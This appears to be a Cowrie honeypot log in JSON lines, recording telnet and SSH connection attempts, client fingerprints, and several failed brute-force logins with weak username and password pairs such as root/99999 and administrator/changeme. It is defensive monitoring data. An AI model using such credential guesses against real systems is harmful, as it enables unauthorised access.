{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":38980,"dst_ip":"10.17.0.5","dst_port":23,"session":"d281caca9f26","protocol":"telnet","message":"New connection: 116.202.39.209:38980 (10.17.0.5:23) [session: d281caca9f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:20.701223Z"}
{"eventid":"cowrie.session.closed","duration":30.81212043762207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:21.133173Z","src_ip":"216.55.143.160","session":"a899e7c0c6eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995607376098633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:22.062707Z","src_ip":"51.222.46.37","session":"5fbad07dc715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b6b2b626ac","protocol":"telnet","message":"New connection: 116.202.39.209:38984 (10.17.0.5:23) [session: e5b6b2b626ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:25.800411Z"}
{"eventid":"cowrie.session.closed","duration":30.816251754760742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:26.530910Z","src_ip":"116.202.39.209","session":"aa9b39e868aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.244.210.29","src_port":38140,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d162e4a36c","protocol":"telnet","message":"New connection: 173.244.210.29:38140 (10.17.0.5:23) [session: 99d162e4a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:27.085679Z"}
{"eventid":"cowrie.session.closed","duration":30.994691610336304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:28.217505Z","src_ip":"164.92.180.156","session":"be7882aa0c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33118,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce5b2536faf4","protocol":"ssh","message":"New connection: 159.203.92.129:33118 (159.203.135.109:22) [session: ce5b2536faf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:28.822612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:28.831234Z","src_ip":"159.203.92.129","session":"ce5b2536faf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:28.836648Z","src_ip":"159.203.92.129","session":"ce5b2536faf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abigail","password":"abigail","message":"login attempt [abigail/abigail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:28.851086Z","src_ip":"159.203.92.129","session":"ce5b2536faf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.757737159729004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:29.059751Z","src_ip":"164.92.180.156","session":"33fa0afdb843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:29.858909Z","src_ip":"159.203.92.129","session":"ce5b2536faf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86692714691162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:30.099754Z","src_ip":"164.92.180.156","session":"9bd37c33c367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803348779678345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:31.550354Z","src_ip":"116.202.39.209","session":"93ee7604b51d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807732105255127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:31.560436Z","src_ip":"116.202.39.209","session":"7fd568122172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":59052,"dst_ip":"10.17.0.5","dst_port":23,"session":"74bcd3852150","protocol":"telnet","message":"New connection: 116.202.39.209:59052 (10.17.0.5:23) [session: 74bcd3852150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:32.865892Z"}
{"eventid":"cowrie.session.closed","duration":30.813083171844482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:34.543516Z","src_ip":"116.202.39.209","session":"31b73d2ad017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86100935935974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:37.029138Z","src_ip":"173.244.210.29","session":"5547fe39b9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90080451965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:43.107300Z","src_ip":"74.115.209.253","session":"1430cdceb3d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920920848846436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:44.625605Z","src_ip":"116.202.39.209","session":"bdcccd5ec7b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356515407562256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:47.174331Z","src_ip":"144.79.133.145","session":"c3fc2c722ebc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74603247642517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:47.533122Z","src_ip":"116.202.39.209","session":"958893e6bac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2955584526062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:48.081716Z","src_ip":"69.175.86.26","session":"34c66d3d61fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82208776473999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:48.551723Z","src_ip":"116.202.39.209","session":"ec6811a174d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":55858,"dst_ip":"159.203.135.109","dst_port":22,"session":"a91cd26eb844","protocol":"ssh","message":"New connection: 34.39.58.191:55858 (159.203.135.109:22) [session: a91cd26eb844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:50.317876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:50.323480Z","src_ip":"34.39.58.191","session":"a91cd26eb844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:50.398425Z","src_ip":"34.39.58.191","session":"a91cd26eb844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"123456789","message":"login attempt [sysadmin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:50.729510Z","src_ip":"34.39.58.191","session":"a91cd26eb844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.936666011810303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:51.637763Z","src_ip":"116.202.39.209","session":"d281caca9f26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:51.806582Z","src_ip":"34.39.58.191","session":"a91cd26eb844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.180.156","src_port":37148,"dst_ip":"10.17.0.5","dst_port":23,"session":"18266965619f","protocol":"telnet","message":"New connection: 164.92.180.156:37148 (10.17.0.5:23) [session: 18266965619f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:52.845859Z"}
{"eventid":"cowrie.session.closed","duration":30.73593807220459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:56.536439Z","src_ip":"116.202.39.209","session":"e5b6b2b626ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.697232723236084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:58.782804Z","src_ip":"173.244.210.29","session":"99d162e4a36c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706176042556763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:03.571955Z","src_ip":"116.202.39.209","session":"74bcd3852150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.180.156","src_port":46942,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8672a7da9e5","protocol":"telnet","message":"New connection: 164.92.180.156:46942 (10.17.0.5:23) [session: d8672a7da9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:06.237579Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d54d113ee236","protocol":"ssh","message":"New connection: 159.203.92.129:35728 (159.203.135.109:22) [session: d54d113ee236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:10.858734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:10.863757Z","src_ip":"159.203.92.129","session":"d54d113ee236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:10.868910Z","src_ip":"159.203.92.129","session":"d54d113ee236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abms","password":"123$%^","message":"login attempt [abms/123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:10.880195Z","src_ip":"159.203.92.129","session":"d54d113ee236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":42274,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e9ebe15550e","protocol":"ssh","message":"New connection: 43.160.206.186:42274 (159.203.135.109:22) [session: 6e9ebe15550e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:11.405406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:11.410152Z","src_ip":"43.160.206.186","session":"6e9ebe15550e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:11.654837Z","src_ip":"43.160.206.186","session":"6e9ebe15550e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:11.886689Z","src_ip":"159.203.92.129","session":"d54d113ee236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"changeme","message":"login attempt [administrator/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:12.665065Z","src_ip":"43.160.206.186","session":"6e9ebe15550e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:13.912618Z","src_ip":"43.160.206.186","session":"6e9ebe15550e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.228529691696167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:23.074279Z","src_ip":"164.92.180.156","session":"18266965619f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823636531829834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:37.061098Z","src_ip":"164.92.180.156","session":"d8672a7da9e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":56466,"dst_ip":"159.203.135.109","dst_port":22,"session":"70639ae1cacf","protocol":"ssh","message":"New connection: 34.39.58.191:56466 (159.203.135.109:22) [session: 70639ae1cacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:45.374661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:45.378730Z","src_ip":"34.39.58.191","session":"70639ae1cacf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:45.453346Z","src_ip":"34.39.58.191","session":"70639ae1cacf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"99999","message":"login attempt [root/99999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:45.786633Z","src_ip":"34.39.58.191","session":"70639ae1cacf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:46.864894Z","src_ip":"34.39.58.191","session":"70639ae1cacf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45154,"dst_ip":"159.203.135.109","dst_port":22,"session":"904b16cbac78","protocol":"ssh","message":"New connection: 159.203.92.129:45154 (159.203.135.109:22) [session: 904b16cbac78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:52.979761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:52.984383Z","src_ip":"159.203.92.129","session":"904b16cbac78","protocol":"ssh"}
